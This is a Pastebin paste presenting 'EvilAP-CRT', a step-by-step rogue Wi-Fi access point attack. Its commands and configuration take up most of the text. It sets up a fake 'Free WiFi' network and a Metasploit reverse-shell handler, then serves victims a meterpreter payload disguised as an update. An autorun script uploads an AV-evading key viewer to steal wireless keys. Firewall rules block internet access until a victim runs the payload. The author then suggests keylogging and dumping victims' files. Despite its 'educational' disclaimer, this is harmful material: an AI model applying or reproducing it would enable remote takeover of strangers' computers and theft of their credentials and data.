Advertisement
Guest User

hm2075

a guest
Aug 2nd, 2009
587
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.02 KB | None | 0 0
  1. EvilAP-CRT  v1.0
  2.  
  3. CRT stands for capture,release and transparency
  4.  
  5.  
  6. Please note this is proof of concept and for educational purposes only, this is not be used out in the wild.
  7.  
  8.  
  9. Victims cannot surf through out EvilAP unless they download and execute our fake update,
  10. authorisation to use the fakeap then works through mac authentication thus preventing those that do not download
  11. our fake update from surfing.
  12.  
  13.  
  14. ./evilapcrt.sh   to run,   make sure you give exec permission to this file
  15. mc2.sh and mc3.sh need exec permissions too   you also need lighttpd for this to work
  16.  
  17. So what does the script do?
  18.  
  19. export   fakeap_interface=wlan0     #this our fakeap, we use wlan0 which then turns to mon0 later in the script
  20. export   router=192.168.1.1         #this is the route to the internet, this is usually your router, it is needed as a gateway
  21. export   gateway_interface=eth0     #this is our access to the internet, it can be wireless too, but first make sure you connect to the internet
  22.  
  23.  
  24. First we copy dhcpd.conf to it's correct location, it looks like this
  25.  
  26. ddns-update-style ad-hoc;
  27. default-lease-time 600;
  28. max-lease-time 7200;
  29. subnet 10.0.0.0 netmask 255.255.255.0 {
  30. option routers 10.0.0.1;
  31. option subnet-mask 255.255.255.0;
  32. option broadcast-address 10.0.0.0;
  33. option domain-name "example.com";
  34. option domain-name-servers 10.0.0.1;
  35. range dynamic-bootp 10.0.0.16 10.0.0.55;
  36. #range 10.0.0.20 10.0.0.50;
  37.  
  38. }
  39.  
  40.  
  41. We then start our fakeap on wlan0
  42.  
  43. modprobe tun            
  44. airmon-ng start $fakeap_interface  ####our fake ap assuming it's wlan0 start and is running as mon0
  45. FakeAP -e airbase-ng -e "Free WiFi" mon0 -v  ###### started on mon0 essid Free WiFi, we can use extended features here such as -P for probe responding
  46.  
  47.  
  48. We start metasploit with
  49. Metasploit -e ./msfconsole -r /root/WK2/hb.rc     #### lets have a look at hb.rc
  50.  
  51. use exploit/multi/handler
  52. set PAYLOAD windows/meterpreter/reverse_tcp   #we are using meterpreter reverse exe which i created earlier and renamed to update.exe and becomes our fake update
  53. set LHOST 10.0.0.1   ## i set it to 10.0.0.1 with port 28
  54. set LPORT 28
  55. set AutoRunScript /root/WK2/hb2.rb    ##this is our autorun script
  56. set ExitOnSession false              # we dont want to exit, we want more victims to be pwned
  57. show options
  58. exploit -j
  59.  
  60.  
  61. Now lets look at hb2.rb   this is a long script which is executed,  i will cut it down to the relevant bits
  62.  
  63. bin = "wkv.exe"                ###wireless key viewer modified to bypass AV's
  64. bin2 = "getmac1.exe"          #### this is a windows utility, getmac.exe which dumps the users mac address
  65. bin3 = "getmac.bat"           ### I created the bat file so it executes getmac1.exe writes the mac address to the system drive of the victim as macx.txt
  66.  
  67.  
  68. We then upload all these files and execute, we grab the wireless keys and we get the victims mac address
  69. wireless keys are downloaded to keys folder as random text files and mac address to allowmac folder again with random text file otherwise things get overwritten. I am skipping all the technical stuff out,   the bulk of it is commented anyway for those that are interested
  70.  
  71.  
  72. Iptables are then setup
  73.  
  74. echo "1">/proc/sys/net/ipv4/ip_forward    # port forwarding is important otherwise victim cannot surf
  75. ifconfig lo up
  76. ifconfig at0 up
  77. ifconfig at0 10.0.0.1 netmask 255.255.255.0
  78. ifconfig at0 mtu 1800
  79. route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
  80. iptables --flush
  81. iptables --table nat --flush
  82. iptables --delete-chain
  83. iptables --table nat --delete-chain
  84. iptables -t nat -F
  85. iptables -t mangle -F
  86. iptables -t nat -A POSTROUTING -s 10.0.0.0/24 -j MASQUERADE -o $gateway_interface
  87. iptables -t nat -A PREROUTING -p udp -j DNAT --to $router       #### gate way to the internet
  88. iptables -t nat -A PREROUTING -m mark --mark 0x42 -j ACCEPT      ### any marked macs we give them internet
  89. iptables -t filter -I FORWARD 1 -m mark --mark 0x42 -j ACCEPT   ### as above, we allow marked macs to continue
  90. iptables -t nat -A PREROUTING -i at0 -p udp --dport 53 -j ACCEPT   #### udp needed
  91. iptables -t nat -A PREROUTING -i at0 -p tcp --dport 80 -j REDIRECT --to-port 80  ###### any non marked mac's get redirected to our fake update page
  92. sleep 2
  93. /etc/init.d/dhcp3-server restart
  94.  
  95. Please note this is a simple iptables,    for protection block all ports except for 80, 53 and 28 which is our meterpreter port.... also block access to your router at 192.168.1.1 or atleast put better password on it otherwise you will end up with egg on your face hehehehe       newbies use this at your own risk
  96.  
  97.  
  98.  
  99.  
  100.  
  101.  
  102. We then execute mc2 and mc3.sh, these are looped
  103.  
  104. mc2.sh
  105. grep -h -E -o '[[:xdigit:]]{2}(-[[:xdigit:]]{2}){5}' /root/WK2/allowmac/*  > /root/WK2/allowmac/mac
  106. ####here we are extracting the macs based on a pattern to mac.txt,  this is because getmac extracts other data which we dont need
  107.  
  108.  
  109. mc3.sh
  110. KNOWN_MACS=`cat /root/WK2/allowmac/mac.txt | awk '{print $1}'`
  111. for MAC in $KNOWN_MACS ; do iptables -t mangle -I PREROUTING -m mac --mac-source $MAC -j MARK --set-mark 0x42
  112. #### once our victim has been exploited his mac address is available in mac.txt, we now need to mark this mac address so that they can surf the internet, we do this with the above command, and loop it
  113.  
  114. Now our victim can connect, be redirected to our fake update page, download our fake update.exe and then once the hb2.rb script is run we allow them internet but stopping others from connecting
  115.  
  116. we cannot stop giving access to the victim once exploited by deleting their mac address from mac.txt, you need to flush by iptables -t mangle -F,  this puts all users back into the redirect script
  117.  
  118.  
  119. finally we run other tools such as dsnif, urlsniff etc etc...... here the possibilities are endless you can go back to metaspoit, interact with any of the sessions created and dump some interesting stuff. meterpreter gives you keylogging features too as well as the ability to dump doc, txt jpg's etc to a folder.  
  120.  
  121.  
  122. remember to delete everything in allowmac folder, except for mac.txt and make sure mac.txt is empty when finished
  123.  
  124.  
  125.  
  126. thats all folks
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement